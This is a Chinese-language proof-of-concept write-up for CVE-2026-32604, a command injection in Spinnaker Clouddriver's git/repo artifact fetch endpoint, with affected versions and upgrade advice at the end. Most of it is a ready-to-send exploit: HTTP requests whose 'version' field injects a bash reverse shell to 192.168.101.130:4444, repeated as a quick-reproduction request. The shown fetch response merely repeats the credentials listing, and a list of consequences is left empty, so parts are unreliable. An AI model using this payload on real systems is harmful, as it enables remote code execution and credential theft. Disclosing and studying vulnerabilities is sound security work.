CVE-2026-32604 - 通过
git/repo工件类型在 Spinnaker 中实现远程代码执行。
这是 Spinnaker 的 GitRepo 工件处理中存在的一个命令注入 / 远程代码执行漏洞。
该漏洞功能允许通过 git/repo 工件的 version 字段提供的用户可控值在未经适当清理的情况下到达命令执行环节。
存在漏洞的端点是:
PUT /artifacts/fetch
关键点在于,应用程序通过以下端点暴露了 git/repo 工件提供程序:
GET /artifacts/credentials
该端点返回:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
这确认了 git/repo 工件类型可用。
存在漏洞的请求被发送到:
PUT /artifacts/fetch
请求体为包含 Git 仓库工件的 JSON。
version 参数可以使用 shell 语法进行操纵。
在测试中,我使用了:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
在 PoC 期间捕获的完整请求为:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
这里重要的参数是:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
注入的 shell 表达式被追加在预期的 Git 分支/版本值之后。
# 用于注释掉注入表达式之后的命令剩余部分。
该请求被存在漏洞的应用程序接受。
捕获的 HTTP 响应为:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
关键点在于存在漏洞的工件类型存在,并且恶意的 version 值被工件获取端点接受。
在测试存在漏洞的端点之前,我验证了目标正在响应:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
响应:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
PoC 基本上就是:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
问题并不仅仅是端点接受 Git 分支名称。问题在于攻击者可控的 Git 工件数据在未被安全地限制为预期的 Git 版本/分支语法的情况下到达了命令执行上下文。
为了快速复现,核心请求为:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
上述 payload 仅用于受控的实验室环境。
存在漏洞的路径涉及 GitRepo 工件实现处理攻击者可控的工件信息。
version 的预期值类似于:
main
但应用程序没有充分地将该值限制为预期的格式。
相反,可以引入 shell 语法:
main; <command> #
这会改变最终命令的含义。
这将工件检索操作转变为在存在漏洞的 Spinnaker Clouddriver 服务上下文中的任意命令执行。
成功利用可导致在受影响的 Clouddriver pod 上执行任意命令。
根据被攻陷 pod 的权限和环境,这可能允许攻击者:
Spinnaker 官方公告特别指出,利用该漏洞可能暴露凭据、删除文件或注入资源。
根据 Spinnaker 安全公告,受影响的发布分支包括以下版本之前的版本:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
已修补的版本为:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
该漏洞被跟踪为 CVE-2026-32604,并被归类为 CWE-20:输入验证不当。
将 Spinnaker 升级到已修补的版本。
上游公告还列出了禁用 git/repo 工件类型作为无法立即升级的安装的变通方法。
在可能的情况下应使用当前的 Spinnaker 版本,而不是停留在受影响的发布分支上。
本 PoC 仅供安全研究、漏洞验证和授权测试使用。
仅对您拥有或已获得明确测试许可的系统运行它。
我在隔离的实验室环境中测试了该漏洞。